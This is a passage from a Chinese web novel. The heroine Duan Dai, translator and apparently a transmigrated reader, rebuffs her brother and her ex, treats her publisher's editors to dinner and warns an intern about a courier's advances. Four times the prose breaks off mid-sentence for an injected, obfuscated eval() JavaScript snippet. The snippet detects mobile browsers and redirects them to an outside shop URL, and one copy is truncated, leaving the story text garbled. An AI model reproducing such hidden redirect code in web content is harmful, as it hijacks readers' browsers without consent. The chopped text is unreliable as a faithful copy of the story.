段墨还想再说些什么,抬眼间却发现段黛身后站了不少人。裴斯羽、章瑾慧、馆长,还有刚刚路过的黎尚轩,全都站在段黛那一侧,眼神中或嘲讽或无奈,仿佛在看一个跳梁小丑。 段墨战栗了一下,扭过头看向自己的身后。理所当然的,他的身后一个人也没有。 原来孤立无援是这种感觉。 段墨忽然就明白了那种无论再怎么挣扎都无济于事的无力感。他垂下头来,一脸丧气:“算我错了,行了吧?” “算你错了?”段黛并不打算就这么放过他,“你这口气说明还是没认识到自己的错误。段墨,你做人能不能有点边界感,不是所有人都有义务哄着你供着你的,赌气给谁看呢?” 浑身的血液都冲到了段墨的脑袋上,他很想对段黛动手。但是段黛似是早就察觉到他的小动作,从口袋里掏出了一把钳子一样的东西。 段墨不认识打孔钳,但本能的意识到这个东西很危险。 他的妹妹,再也不是以前那个能够被他三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253441|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言两语说哭的人了。 “……对不起。” 这三个字说出来之后,段墨只觉得自己全身冰凉。在段黛的注视下,他麻木道:“……我不应该纠缠她,也不应该自以为是……” 黎尚轩看到段黛从口袋里掏出打孔钳时哑然失笑。她怎么随身携带这种东西啊? 见着冲突似乎就这么解决了,黎尚轩也不再逗留,离开继续去忙自己的事情了。 “知道错了就好,”得到想要的结果后,段黛转身走向裴斯羽,“咱们回去吧。” “哎,段老师!我们加个联系方式吧?”章瑾慧见段黛要离开,赶紧摸出手机来。段黛没有拒绝,扫了她的名片之后,两人加了好友。 段黛编辑着备注:“怀瑾握瑜的瑾,智慧的慧,我没记错吧?” 章瑾慧莞尔:“没错。以前老有人记成贤惠的惠,但我是另一个慧。” 段黛编辑好备注后把手机收到口袋里,随口道:“贤惠有什么用,有智慧就好了。” 章瑾慧很喜欢段黛的这句话,脸上不禁露出了笑容。 既然已经看过了美术馆剧情的现实走向,段黛也不想再多花时间了。她和几人道了别,接着便要回家了。《经录》的翻译是项大工程,她得回去好好看一下拿回来的这些资料。 不想到家后,段黛居然在家门口看到了一个不速之客。 陈方烨坐在她家门口的台阶上,听到电梯门开后立刻转过头来:“阿黛。” 段黛看到地上的人后吓了一跳:“你怎么来了?” 陈方烨出门前特意精心打扮了一番,他用发胶做好了发型,穿了段黛从前最喜欢的一件衬衫,身上还喷了一些香水。如果稍微凑近一些,还能闻到一股若有若无的香味。 然而他起身走到段黛面前时,不仅没有收到她的动容,反而看到了她眼里的那几分厌恶。 段黛对这种不请自来堵家门口的行为是很厌烦的,因此看向陈方烨的眼神中都不自觉地有了几分攻击性。她一脸戒备,一只手插进裤子口袋里握住了打孔钳,想看看陈方烨这又是玩哪一出。 陈方烨有些受伤,但还是开口问:“还在生气吗?” 段黛无语:“生什么气?” 陈方烨向她靠近一步:“那你为什么和我冷战?” 什么冷战?段黛一脸莫名其妙。 “这么多天了,你从来不回我消息!” 陈方烨此言一出,段黛恍然大悟:“哦,因为你话太多太烦了,我设置了消息免打扰。” 在他说着“什么”的时候,段黛摸出了手机,在消息通知栏里往下滑了滑:“你在哪来着……” 陈方烨愈发难以置信:“我在哪?你没给我置顶吗?” “你很重要吗?为什么要占我置顶的位置,”段黛不假思索,一直找不到陈方烨后她直接点开了搜索,输入“陈方烨”三个字后终于找到了联系人,“我天,你发了这么多。” 段黛的一系列操作都被陈方烨看在眼里。没有置顶、没有特别关心,连找人都要靠搜索,甚至备注也是最普通的名字。这一切就这么猝不及防地砸在他的面前,让他不知道该从何说起。 17. 说重点 大概是觉得自己还站在这有点尴尬,陈方烨轻轻咳了两下。 “但是Season要20%的股份……”他有些踌躇,“有点多了啊。” “有舍才有得,总不能既要又要,”段黛低头翻着手里的资料,“以后公司上市了股份比重就更小了,现在纠结这些干什么。” 陈方烨扭头看着她:“你怎么用这种语气和我说话?” 段黛手上动作一顿。她抬起头来淡淡地瞥了陈方烨一眼:“看看场合,陈方烨。别无理取闹。” 陈方烨脸涨的通红:“我无理取闹?是你无理取闹好吧!就因为和我赌气,你就处处让我下不来台?” 段黛嗤笑一声,手上的文件往桌子上轻轻一甩,发出“啪”的一声响。她抱着手臂向后坐了坐:“啊对对对。” 陈方烨很受不了她这种反应:“你什么意思!” “陈总!”几个合伙人一起出声,陈方烨这才意识到还有别人在场。他尴尬地坐直了身体:“抱歉,我失态了。” 段黛这才正眼看他:“现在不是意气用事的时候。你想要一步到位在全国建立分店,那就接受Season的入资,把这事好好做起来。你要是接受不了竞争对手入股,那就放弃一步到位的想法,老老实实的一步一步来,先拓展整个浙省,再发展其他一线城市,最后走向全国。” 她瞥了他一眼:“你自己选吧。” 陈方烨有种被掐住脖子的感觉。 大概在不久之前,陈方烨和段黛一起去她预约了很久才订到的餐厅共进晚餐的时候,鹿颖忽然打电话来叫他过去接她。那时的段黛对此感到不解:“为什么她要让一个有女朋友的男生去接她?” 陈方烨不耐烦道:“要么分手要么我去接她,你自己选吧。” 陈方烨无端联想到那时的情形,他开始感到惶恐——莫非段黛现在是在用他的话来刺他? “我……” 段黛转头看向其他人:“你们的意见呢,同意Season投资吗?” 所有人齐刷刷地点头。 段黛转头看他:“你呢?” 所有人的目光都落在他身上,这种压迫感让陈方烨几欲窒息。 半晌,他点了点头:“那就……让Season注资吧。” 会议室里所有人都松了一口气。 段黛收拾了一下手里的资料,对众人道:“没有什么问题的话,咱们这次会议就结束吧。” 众人也纷纷收拾东西,起身向会议室外走去。 陈方烨看着眼前的一切有些傻眼。他这个老板还没发话,所有人就都走了? 段黛也拿起东西,随着人群一起走了出去。陈方烨愣愣地盯着她的背影,忽然意识到一个问题——段黛在公司的话语权,好像比他大。 从前段黛对他俯首帖耳,让陈方烨几乎都要忘了,当初这些合伙人都是段黛通过各种关系介绍来的。后来公司的经营和进展也一直都是段黛这个没有职务的人在全程跟进,他这个总经理反而在做甩手掌柜。 等到段黛对自己爱搭不理的时候,陈方烨才发现,合伙人们是更愿意听从段黛的指令的。 他和段黛的股份是一样多的,他在公司还有职务,按理说应该不用担心大权旁落的问题。然而他忽视了段黛在合伙人中的声望,万一她和其中一个甚至几个人联合起来,自己的位置势必岌岌可危。 难怪这两次开会段黛都让自己下不来台,难怪她说什么时候加一场会就加一场,说什么时候散会就什么时候散会。 陈方烨登时觉得寒意四起。 若是段黛真的对自己寒了心,那自己的在公司的地位势必岌岌可危。 他不能让自己陷入这样危险的境地。 段黛到家之后又一头扎进了书房,对着那本《经录》用功。各种便利贴被她贴了满墙,原主留下的资料也被她重新整理了一遍。一切准备就绪,段黛打开电脑,开始从头撰写译文。 事实上尽管已经有了充足的资料帮助她了解这本书,但真正上手成文时还是会有很多问题。不过段黛并没有因此就要停下工作继续搜集资料,也没有为了硬翻就降低文稿质量。她把拿不准的地方做了统一的标注,先写了再说。 这样大的工程想要一次就定稿显然是有些强人所难了,不如在一遍一遍的修改中慢慢让译文还原原文。 傍晚的时候关月兰发来了两张图片:【画师设计了两种封面,你喜欢哪一种?】 段黛站起身来,一边活动着肩颈一边挨个点开大图查看图片。综合比较了一下后她选了第一个:【这个感觉和内容更贴一些。】 关月兰回了一个“OK”的手势。 赶完原主的deadline之后,段黛的生活渐渐恢复了比较规律的状态。虽说自由职业者很容易作息混乱,但段黛基本上不用担心这个问题。即便是在家里,她也给自己安排了“上班时间”和“吃饭时间”,每天定量完成工作。 时间差不多了,也该吃晚饭了。 段黛进了厨房,打开冰箱找了一些食材出来,洗净后切成差不多的大小丢进锅里,看着水烧开了又抓了一把挂面进去。其实先把配菜炒一炒再煮味道会更好,但段黛懒得弄那么多了。自己吃总归是糊弄一些的,能填饱肚子就行。 几分钟后,她端着一小锅面条放到了茶几上,拿了一双筷子慢慢搅动着,让热气散出来。段黛夹起一筷子面条,轻轻吹了吹热气,然后送入口中。 虽然卖相有些敷衍,但味道还不错。 段黛把平板支起来放在前面,打开一个她最近很喜欢看的动画,准备就用这个来下饭。 “咚咚咚——” 一阵敲门声响起,刚刚酝酿好的吃饭氛围一下子被打断了,段黛不由得有些恼火。她走到玄关,拨开猫眼,段墨那张恬不知耻的肾虚脸就怼在外面。 段黛拧着眉隔着门板问他:“你怎么突然来了?” “我……” 段黛不等他说明来意,又道:“你就算想来,能不能提前说一声?来之前打个招呼是能累死你吗?我要是不在家怎么办?” 段墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268605|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些诧异:“你这不是在家吗……” 段黛“啧”了一声:“我很忙的,你这样一声不吭就来了打扰到我了,听不明白吗?” 段墨本来因为上次美术馆的事情就窝了一肚子火,正想着朝她发火呢,没想到门还没进去又被数落了一通,一时间懵了:“我……” 段黛:“那你走吧!” “开门,你当我愿意来?”段墨找回了理智,“爸妈让我捎一些腌菜给你。” 他对着猫眼晃了晃手里的袋子。 段黛又“啧”了一声。她把门拉开一条缝:“给我吧。” 竟然是让他放下东西就走的意思。段墨赶紧一把拉住了门:“我大老远跑来给你送东西,你就这么赶我走啊!” 段黛白了他一眼:“你有什么很必要的事情需要进来坐坐吗?” “废话!不然我过来一趟干什么……” 两人在门口僵持了一会儿,最后段黛还是妥协了。她松开了手后退一步:“赶紧进来。” 段墨“哎”了一声,迅速挤进了门。 坐下之后段墨就沉默了。段黛吃着饭,因为有人来了,平板上的动画不得不暂停。她等了一会儿,见他还是不说话,忍不住训斥:“说话啊,等我问你吗?” 段墨这才开口:“我现在只有下班回家之后才能画画,因为第二天要上班,所以晚上也不能画的很晚。再加上还要吃饭什么的,时间就更紧张了。” 说完他就看着段黛。 段黛不知道他这是什么意思:“然后呢?继续。” 段墨脸色有些难看:“然后这个工作虽然很清闲,但是必须坐班,我每天必须在那里待够八个小时。” 他又不说话了。 段黛抱着手臂:“所以?” 段墨:“所以……我在那坐着纯粹就是浪费生命。” 段黛呼出一口气,有几分愠怒:“你到底想干什么,说重点!” 段墨在她的语气下哆嗦了几下:“就是我觉得……” 段黛冷笑一声,牙缝里挤出两个字:“重点。” 段墨一下子泄了气:“我想辞职。” 其实不光是这一点。之前画展的时候段墨出了大丑,整个美术馆的人都知道他自不量力去纠缠女画家。看着段黛的面子,馆长并没有辞退段墨。不过段墨自己也待不下去了。所有人都对他指指点点的,让段墨心理压力很大。 段黛不紧不慢地吃了两口面条。她吃东西挺快的,但没有什么吧唧嘴之类的奇怪的声音。段墨规矩地坐着,等她的下文像是等了一个世纪。半分钟后,段黛放下筷子:“辞职之后打算干什么?” 段墨有些底气不足:“在……在家画画。” “想清楚了?” “嗯。” “那就辞呗,”段黛不耐烦地挑起一筷子面条又放了下去,“就这么点事还要来问我?” 段墨一脸惊奇:“你不拦我?” 段黛很是奇怪:“我为什么要拦你?你都是个成年人了,什么事难道还不能自己做决定吗?” 18. 所以你到底想表达什么? 段黛曾经也有过极力劝别人别走歪路的经历,她分析利弊提出方案,最后才发现对方只是嘴上说说而已,根本不想听别人的意见。 次数多了段黛也就有经验了。该提的意见最多说一次,绝对不会多费自己一点口舌。 良言难劝该死的鬼。放下助人情节,尊重他人命运。段墨这样已经被原主拉扯着走了这么多的人现在还有这样的想法,那显然是救不回来了。更何况段黛对这个哥可没有什么感情,所以坚决不在他身上多费功夫。 段墨反而又犹豫起来了:“但是现在的工作稳定还很轻松……” 段黛面前一锅面条已经快见底了:“那就不辞。” 段墨:“可是它耽误我创作,而且同事们因为上次画展的事对我指指点点的……” 段黛:“……” 面条已经吃完了,只剩下些汤,段黛想要享受的独自进食的美好时光注定是要错付了。她往后一仰靠在沙发上:“叫你辞职又不想辞,叫你不辞你还不高兴,事儿真他大爷的多。你自己看着办吧。” 段墨有些窘迫:“你说我到底要不要辞……” “不要让我说,”段黛摆了摆手,“我可不想介入你的选择,到时候后悔了还来埋怨我。你自己想呗?都这么大个人了这点事还做不了主?” 段墨脸上“腾”的红了,嗫嚅道:“我这不是想问问你的意见……” “意见?我没有意见。” 段黛端起锅来,把剩的面汤喝的干干净净。放下锅之后她看到段墨还坐在这发呆,便抬头看了一眼时间。 到了继续工作的时候了。 段黛能容忍段墨在吃饭的时候影响自己,但决不能允许他耽误自己的工作。于是她毫不客气地下了逐客令:“你要是只想问这个事就走吧。以后有什么事V信说就好,用不着非得过来一趟。” “……你赶我走?” 段黛“啧”了一声:“你知不知道这样影响到我的时间安排了?” 段墨哑口无言。见段黛反复抬头看墙上挂的钟表,明白她对自己的嫌弃不是作伪。段墨坐如针毡,想了想也不知道自己在这坚持什么,于是只得站起身来。 临走时他忍不住回头:“段黛,你以前不是这样的。” 从前恰好是反过来,段黛经常带着东西到段墨那里去,对他嘘寒问暖。段墨嫌她打扰自己作画,每次见她过来都要狠狠奚落她一番。 段黛反唇相讥:“这不就是你希望的吗?” 段墨愕然。 段黛继续道:“我和你可不一样。我翻译完一本书,是真的有版权费给我的。我,是靠这个吃饭的,你明白吗?” 段黛最知道怎么戳人痛处了。果然,段墨听完她的话之后,脸色更难看了。他画到现在也没有什么名堂,依然很讨厌有人来打扰他。而段黛的翻译是有真金白银在进账的,自然比他这个不入流的画家更有资格说“打扰”二字。 “下回有事提前V信说,别一声不吭地就来了。” 段黛拉开防盗门,又补了一句:“就算咱们是亲兄妹,也得有点边界感,你懂我意思吧。” 段墨只觉得自己像是被抽了一巴掌,脸上火辣辣的疼。 他逃一般地离开了段黛的家。 段墨走后段黛长舒一口气。她看了一眼玄关的鞋柜,那里有好几双拖鞋,显然以前经常有人来原主家里做客。段黛并不喜欢其他人到自己家来,除非关系非常亲近,否则她会有种私人空间被冒犯的感觉。 要不然搬个家吧…… 段黛在洗餐具的时候忽然冒出来了这个想法,但是很快又打消了这个念头。原主租的这个房子麻雀虽小但五脏俱全,该有的东西都有,很适合一个人独居。她穿书前住的地方可比这简陋多了,对比下来原主的家实在太舒服了。 更何况搬家是项大工程,非必要的话段黛并不想折腾。 把刚才用过的餐具都洗干净之后,段黛擦了擦手,回到书房里继续工作。 直到晚上十点,段黛才关上电脑。她从座位上起身,拉伸了一下四肢,接着就去卫生间洗澡了。段黛洗澡很快,没一会儿就从里面出来了。正在她用浴巾擦拭着身上的水珠时,随手丢在茶几上的手机“嗡嗡”震个不停。 “谁啊这是。”段黛嘟囔了一声,把浴巾挂起来之后才去拿自己的手机。解锁之后她就看到陈方烨给她发了十多条消息,原来自己不知道什么时候把消息免打扰给关了。段黛叹了口气,点进聊天框看了一眼,全是陈方烨在发牢骚。 牢骚的内容也没什么营养,不过是现在陈方烨才发现自己的废物而感到无力,以至于深夜emo罢了。 段黛短暂地思考了一下要怎么安慰,但转念一想这可是原文里最该死的陈方烨,瞬间就不费那个心思考虑什么安慰的话术了。段黛把手机的振动关掉,选择对不断弹出来的消息视而不见。 然而也不知道是不是因为一直收不到回复,陈方烨居然直接一个电话打了过来。看着突然弹出的通话界面段黛吓了一跳,手一滑居然点到了接听,陈方烨的声音瞬间从手机里响了起来:“你怎么又不理我!” 段黛愣了一下,意识到自己接通了电话后叹了口气。她重新握好手机:“你这话说的,什么叫又不理你。我也没理过你啊。” 陈方烨:“……” 陈方烨晚上喝了点酒,脑子有点不清醒。到家之后他刷着手机看着各路社交媒体,先看到了什么动画游戏和某某奶茶联名的消息,嘟嘟囔囔地骂着那帮合伙人都是迂腐至极,不然这泼天的富贵怎么也该轮到林深这里了。 然后他看到了临安译文出版社发的宣传帖。这家出版社有一本外国文学即将出版了,宣传图做的精美至极。当然陈方烨并不是会对文学感兴趣的人,他只是看到了“译者:段黛”几个字。 ——知名译者段黛闭关半年,全新译文风格不容错过! 段黛是个文学翻译。他明明早就知道这件事,但现在才意识到这一点。 就算没了公司,她应该也能活的挺好的。 在酒精和社交媒体的两方作用下,陈方烨打开了和段黛的聊天框,絮絮叨叨地诉着苦。见人一直不回复,他就直接打电话,毕竟电话可是很难忽略的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284155|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……黛黛,你有没有觉得我特别没用……” 段黛毫不留情道:“是啊。” “……我就是自嘲一下,你竟然还附和?” 段黛重复:“你自己看看你干的事,你有什么用?” “我靠,你这小嘴和淬了毒一样……” 段黛挺想拉黑陈方烨的,但是她手上还有林深的股份,所以不得不继续忍受陈方烨的胡说八道。陈方烨对此浑然不知,抱着手机缩在沙发上念叨:“Season的人当天下午就来了,我才知道他们早就联系好了就等我拍板决定呢……Seasosn到时候会空降一个人来林深的管理层,以后我们大小事务都得由那个人盯着……” 段黛把手机放在一边,一言不发地洗着自己刚换下来的内衣裤。 陈方烨就着公司的事说了好久,从对家注资到自己的理想抱负,又说之后对IP联名的伟大畅想。 “你知道吧,玩游戏看动画的人可能因为联名而去买奶茶,但是喝奶茶的人不会因为联名就去看动画或者游戏……” 段黛把衣服拧干:“啊对对对。” 陈方烨伸手揉了揉太阳穴:“黛黛,我记得你以前内耗特别严重,经常诚惶诚恐的,现在感觉你好像不内耗了,做什么事都轻松了许多,没有那种拖泥带水的感觉……” 段黛挑了挑眉。原主天天被这几个人PUA,不内耗才奇怪了。 她和原主不一样,她只觉得这群对她指手画脚的人是傻逼。 傻逼是不可能PUA到段黛的,自然她也就不内耗了。 段黛把洗好的衣服晾了起来,带着手机回到了卧室。陈方烨还在那喋喋不休地说着,段黛都有些佩服了,她可做不到在没有回应的情况下说这么多话。 好久之后陈方烨似乎终于意识到对面一直没出声了:“段黛?黛黛?你在听吗?” 已经收拾好一切躺到床上的段黛懒散地拿起了手机:“所以你想表达的是什么?” “……啊?” 陈方烨愣了一下:“就……我现在感觉挺内耗的,感觉最近事情很多,所有的都不如意,也不按照我自己的想法来,有点生气又有点……” 段黛打断了他的话:“你说的这些到底谁想听?” 陈方烨登时愣住了。 这是段黛说出来的话? “你……你不愿意听我说话吗?” 段黛蹙眉:“有事就说事,没有事就闭嘴。没人想听你倒黑泥,也不想分享你的负能量。” 陈方烨哑然失笑:“以前明明……” 他愣住了。 明明自己以前每一段崩溃绝望的时刻,都是段黛陪在他身边,带他走出阴霾的。 他怎么就忘了呢? 不,他不是忘了。 他只是不在乎而已。 因为不在乎段黛这个人,所以把她的一切付出都看做理所当然,直到她把一切都收回去的时候,自己才知道失去了什么。 而现在,段黛冷冰冰的声音从手机里响起:“别总把责任推给别人,你为什么不反思一下自己?” 20. 靠谱的成年女性 段黛不仅提前订好了房间,还问了每个人有没有什么过敏的东西。周五刚下班的时候,段黛又问了她们想喝什么。 等到一群人下了班浩浩荡荡地到了这家名叫“相遇”的餐厅了,就看到段黛站在大堂的一张桌子旁边,面前放了两大袋子奶茶。 见人来了,段黛微微一笑,提起奶茶道:“咱们上去吧。” 关月兰大受震撼:“明明是我想请客的来着……” 怎么最后安排好一切的都变成段黛了? 林若愚赶紧上去接过段黛手里其中一个保温袋:“我来拿我来拿,段老师辛苦了……” 段黛见到林若愚后,立刻又从另一个保温袋里拿出来一个小盒子:“你是林若愚对吧?我记得你说想吃芝士蛋糕来着,正好我家附近有那个店,顺便帮你买了。” 林若愚看着心心念念已久的蛋糕盒子受宠若惊:“我的天呐我就是随口一说……太感谢了!” 当时众人都在七嘴八舌的聊着自己想吃什么,林若愚当时说的那句大概也没什么人注意,没想到段黛就记住了。 她看向段黛的眼神都变得感动了。 段黛笑得温和:“顺手的事。” 到了包厢之后,段黛把奶茶从袋子里拿了出来:“编辑老师们也来领一下自己点的喝的吧。” 一群人纷纷围了过来,伸出手从保温袋里拿出奶茶。有人看了标签之后大吃一惊:“我这么麻烦的备注居然段老师居然都记得……” 这个点了热的那个点了去冰,这个要半糖的那个要零卡糖的,还有要额外加小料的……每个人都拿到了自己点的奶茶,惊奇地发现无论自己备注的选项多么刁钻,到手时竟然一点错都没出。 “哧”的一声,关月兰把吸管扎进奶茶里:“我天,段黛你居然这么靠谱,我感觉我好像是第一次认识你。” 段黛笑了起来:“这有什么的。桌子上有二维码,扫码点餐,大家想吃什么大胆点就好,这顿我来请。” 众人一片哗然,关月兰赶紧拉她:“我来请我来请,这时候你跟我抢什么。” 段黛拍了拍她的手,转头对众人微笑:“我之前不太懂事,总是拖稿开天窗,给各位编辑老师,尤其是月兰姐,添了很多麻烦。很感谢大家一直没有放弃我,才有了今天的畅销书。以后我还要麻烦临译社的各位多多照顾,月兰姐,以后也要多拜托你了。” 实际上真正负责段黛的也只有关月兰一个罢了,其他编辑最多顺手帮帮忙。但没想到段黛在这里把每个人都感谢到了,一时间都颇为动容。 关月兰尤其感动,直呼“孩子居然长大了”,也没再和段黛争谁来请客这件事。 林若愚坐在关月兰身边,笑道:“我也算是沾了各位前辈的光了。” 段黛却道:“若愚是跟着月兰姐实习的,肯定也审过我的稿件吧?林编辑在这个选题里的贡献也是相当大的。” 林若愚的脸愈发红了。她在出版社虽然也会看稿校对,但打杂的工作偏多。林若愚一直梦想能成为一名编辑在出版社工作,每次看到办公室里各个有中级资格的编辑们力挽狂澜的模样相当羡慕。如今有段黛这样有一点咖位的作者肯定她的工作,那种高兴和满足简直难以言喻。 她有些磕巴,但难掩激动:“啊啊啊段老师太好了……” 火锅是单人单锅的,每个人可以要不同的汤底,不想吃的可以直接不开电。有人点了烧烤,也有人点了一些清淡的炒菜。 段黛要了一个鸳鸯锅,一边是菌菇汤一边是麻辣。在服务生将菜一道一道地端上来时,有人道:“段老师居然能找到这种店,咱们以后聚餐要不都来这吧?” 关月兰对段黛道:“你是不知道,以前我们每次团建都得争很久到底吃什么。今天这个想吃火锅了那个就没胃口,等到这个不想了那个没胃口的又突然想吃火锅了……害。” 段黛夹起一片肉放到锅里:“本来也没必要非得迁就其他人什么的,然后我就刷到了这家餐厅,想吃什么都可以点。” “真不错……” 聚餐的众人虽然年龄大小不同,但都是女性,所以气氛很是轻松。每个人喝的都是奶茶,因此也没有什么敬酒之类的恶俗环节。 这家餐厅吃起来不错,火锅的汤底没有踩雷,烧烤的火候把握的也很好,食材吃起来很新鲜,点的家常菜也做的不错,没有出现“什么都有但什么都不行”的情况。编辑们都种草了这家店,把它列作了以后聚餐的常用地点。 吃过一会儿后,编辑们也打开了话匣子,有的吐槽印刷厂那边的事情,有的说自己和男朋友之间最近又有了什么问题。林若愚叹了一口气:“前些天我网购了一件衣服,到手之后感觉不合适,就把它退掉了。” 段黛默默地炫着烧烤。 关月兰问:“然后怎么了?发生了什么事吗?商家不给退?” “不是,”林若愚摇了摇头,“驿站那里有个兼职的学生,正在读研二好像,我去退货的时候和他认识了。” “哦?” 一下所有人都停止了闲聊,全都转头来看她,脸上全是八卦的神色。 林若愚继续:“当时为了寄东西我就加了他的V信,后来他经常找我聊天,问我在出版社的实习之类的……” 关月兰吹了一声口哨:“那个人帅吗?” “……还行吧,说不上多帅,但是不丑。” 一直吃东西的段黛出了声:“你是感觉不太对劲吗?” 林若愚连连点头:“对!我感觉他好像有点越界了,但是毕竟我也是在校生出来实习的,他来找我聊的也都是找实习的事情,所以我怀疑是不是我想多了……” 关月兰摸了摸下巴:“这么说,你对那个男生,应该是没有什么意思吧?” 林若愚的手指摩挲着奶茶杯的边缘:“嗯,没什么感觉,我也没想谈恋爱之类的。” 段黛又一次开口:“他是哪个学校的你知道吗?” 林若愚愣了一下,思考了一会儿道:“不知道啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321241|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 段黛:“那他知道你是哪个学校的吗?” 林若愚点了点头:“知道。” 段黛:“快递站的兼职一般都是单天的,你最近再去快递站时每次都能看到他吗?” “对,他都在……啊。” 段黛放下了筷子:“他不是什么学生,他就是在那上班的人而已。你也没想到,正常工作人员完成任务后不会多说话的,他总是跟你聊天就是对你有企图。” 林若愚伸手捂住了嘴巴:“天呐,果然不是我太敏感了……” 一众编辑纷纷咋舌:“刚刚我们还以为小林是有什么桃花了呢……结果是烂桃花啊。” 段黛一边调整着火锅的火力一边道:“敏感一点也不是坏事,感觉有危险了能提前避开,总比最后吃了亏要好。除了聊天他还说了什么吗?有没有约你出来?” 林若愚“啊”了一声:“他总问我有没有空一起吃个饭……还说交个朋友之类的……” 众人露出了“果然”的表情。 段黛慢悠悠道:“虽然说可以和直男交朋友,但到底性别不一样,还是要把握边界的,不然十有八|九是动机不纯。” 说完之后段黛莫名想到了邓辞,忽然意识到邓辞其实就是没有边界感的异性“朋友”最生动的例子。虽然原主把对方当普通朋友,但谁知道这个普通朋友对她有这么变态的心思? “小林压根就不想和这个人交朋友啊!”其他人义愤填膺道。 林若愚担忧了起来:“现在怎么办啊,要是当初我直接不理他就好了……现在都发展到这个程度了……” 段黛宽慰她道:“没事,你直接拉黑他就好了。有问题的本来就是他,不用担心会被他找事什么的。他看到你拉黑就知道是自己理亏,以后会夹起尾巴来做人的。” 关月兰探出头来:“那万一那个人找事怎么办?” “那就报警,”段黛淡定道,“不要害怕和人硬刚,大家都是捏软柿子的人,退让只会让他变本加厉,并不能解决问题。只有发现你是个硬茬了,他才会知道后退的。” 林若愚大受鼓舞,当即就掏出手机来,直接把那个总和她搭话的快递员拖入了黑名单:“段老师,你就是我的人生导师!” 拉完黑名单之后,她又向前探了探身子,试探道:“段老师,咱们可以加个V吗?” 段黛欣然同意,掏出手机来扫了她的二维码。手机振动了一下,显示着两人成功添加好友。 其他人愣了一会儿,接着也有种恍然大悟的感觉:“以前都说多一事不如少一事,现在看来……” 段黛淡淡道:“回避问题是没有用的,关键是要解决问题。” 关月兰拍了拍段黛的肩膀:“士别三日当刮目相看,敬段黛!” 一众编辑纷纷举起手里的奶茶杯:“敬咱们段老师!” “哈哈哈……” 段黛也举起了奶茶杯:“也祝咱们临译社本本畅销!” “好!” 21. 哭又不能解决问题(烦躁 足有三层高的圆形书房看不到墙壁,因为靠着墙摆放的是定制的弧形书柜,所有的墙壁都被书籍填满。整个书房采用的是中古风格的设计,地面靠墙一侧摆放了一张实木写字台,楼梯盘旋向上纵横交错。书房内没有窗户,光线从做成彩色玻璃的天窗上落下,在地面上留下斑驳的光影,让人在进入的瞬间像是进入了魔法世界一般。 黎尚轩点着手机,根据提示,将最后一本书塞到书架的对应位置上。 “咔——” 书房沉重的大门被推开,一个穿着旗袍的中年女人走了进来。女人虽然四十来岁了,但举手投足间都带着文学人的优雅,从骨子里透着文艺的气质。 看到这间书房,女人面露惊喜:“这就是我想要的书房!” 黎尚轩从楼梯上走了下来:“刘女士,书按照中图法已经帮您重新分类摆放好了,以后您再找书可以使用我之前帮您下载过的APP。” 刘女士走到写字台边,将书放下,黎尚轩这才注意到她进来时手上又多了一本书。她走到墙侧的书架旁,伸手触摸着摆放整齐的图书,喃喃自语:“真是太好了……” 黎尚轩微笑:“您喜欢就好。” 黎尚轩是一名家装设计师,虽说工作内容是设计,但黎尚轩也会来到客户家里全程跟进装修事宜,确保每一处都能按照自己的预想落地。 刘女士委托黎尚轩设计她家的书房,这几个月来黎尚轩都在忙这件事。今天成果验收,他的工作也算结束了。 刘女士欣赏完了书房之后,回到写字台边把那本刚拿进来的书重新拿到了手上:“那之后我想再放新书进去的话,也是可以用APP扫一下,就知道应该放到哪里了是吧?” 黎尚轩点了点头:“正好你拿了新书来,我给你操作演示一下吧。” 刘女士把手机和书一起递给黎尚轩。他看到色彩绚丽的封面时并没有意识到什么,直到看到下面的作者名。 ——译者:段黛。 段黛? 黎尚轩愣了一下,脑中浮现出那个夜晚段黛举着碎玻璃瓶子杀疯了的画面。 他不知道段黛的工作是什么。 有重名的吗…… 黎尚轩深吸一口气,接过手机打开了APP,给刘女士看屏幕:“点一下这个扫码的地方,然后扫书后面的ISBN码……” 屏幕上跳出来了图书信息,这回黎尚轩更清楚地看到了“译者:段黛”那几个字。 “……所以这本书应该放在那个位置,第一层的三号书架。” 